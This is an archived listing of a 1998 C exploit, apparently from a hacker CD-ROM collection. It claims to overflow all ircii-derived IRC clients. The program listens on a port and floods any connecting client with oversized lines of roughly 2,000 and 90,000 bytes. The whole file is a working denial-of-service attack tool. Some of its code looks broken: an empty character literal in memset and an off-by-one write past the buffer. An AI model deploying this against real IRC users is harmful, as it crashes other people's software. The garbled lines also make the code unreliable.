home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / w00w00 / exploits / irckill / ircacc.c < prev    next >
Encoding:
C/C++ Source or Header  |  1998-08-13  |  2.0 KB  |  118 lines

  1. /* w00w00! */
  2. /* Email: WSD@w00w00.org */
  3. /* Exploits an overflow in all ircii derived clients. */
  4. /* Written by nyt for w00w00 Security Development.    */
  5.  
  6. #include <sys/types.h>
  7. #include <sys/socket.h>
  8. #include <netinet/in.h>
  9. #include <stdio.h>
  10. #include <stdlib.h>
  11. #include <strings.h>
  12. #include <netdb.h>
  13. #include <unistd.h>
  14.  
  15. #define ERROR  -1
  16. #define SUCCESS 0
  17.  
  18. void main(int argc, char **argv) {
  19.   char *buf;
  20.   int sockfd, soclisten, addrlen;
  21.   struct sockaddr_in soc;
  22.  
  23.   if(argc < 2)
  24.   {
  25.      fprintf(stderr, "Usage: %s <int port>\n", argv[0]);
  26.      exit(ERROR);
  27.   }
  28.     
  29.   soc.sin_family = AF_INET;
  30.   soc.sin_port   = htons(atoi(argv[1]));
  31.   soc.sin_addr.s_addr = htonl(INADDR_ANY);
  32.  
  33.   soclisten = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  34.   if(soclisten ==  ERROR)
  35.   {
  36.     perror("socket");
  37.     exit(ERROR);
  38.   }
  39.  
  40.   if(bind(soclisten, (struct sockaddr *) &soc, sizeof(soc)) == ERROR)
  41.   {
  42.     perror("bind");
  43.     exit(ERROR);
  44.   }
  45.  
  46.   addrlen = 1;
  47.   printf("listening...");
  48.  
  49.   if(listen(soclisten, 5) == ERROR)
  50.   {
  51.     perror("connect");
  52.     exit(ERROR);
  53.   }
  54.  
  55.   printf("connected...sending data...");
  56.   addrlen = sizeof(soc);
  57.  
  58.   sockfd = accept(soclisten, (struct sockaddr *) &soc, &addrlen);
  59.   if (sockfd == ERROR) 
  60.   {
  61.      perror("accept");
  62.      exit(ERROR);
  63.   }
  64.  
  65.   buf = malloc(2069);
  66.   if (buf == NULL) 
  67.   {
  68.     perror("malloc");
  69.     exit(ERROR);
  70.   }
  71.  
  72.   memset(buf, '', 2068);
  73.   buf[2069] = '\0';
  74.  
  75.   if (write(sockfd, buf, strlen(buf)) == ERROR) 
  76.   {
  77.      perror("write");
  78.      exit(ERROR);
  79.   }
  80.  
  81.   if (write(sockfd, "\n", 1) == ERROR)
  82.   {
  83.     perror("write");
  84.     exit(ERROR);
  85.   }
  86.  
  87.   free(buf);         
  88.  
  89.   buf = malloc(90000 + 1);
  90.   if (buf == NULL)
  91.   {
  92.     perror("malloc");
  93.     exit(ERROR);
  94.   }
  95.  
  96.   memset(buf, '', 90000);
  97.   buf[90000] = '\0';
  98.  
  99.   if (write(sockfd, buf, strlen(buf)) == ERROR)
  100.   {
  101.     perror("write");
  102.     exit(ERROR);
  103.   }
  104.  
  105.   if (write(sockfd, "\n", 1) == ERROR)
  106.   {
  107.     perror("write");
  108.     exit(ERROR);
  109.   }
  110.  
  111.   free(buf);
  112.  
  113.   shutdown(sockfd, 2);
  114.   printf("connection terminated.\n");
  115.  
  116.   exit(SUCCESS);
  117. }
  118.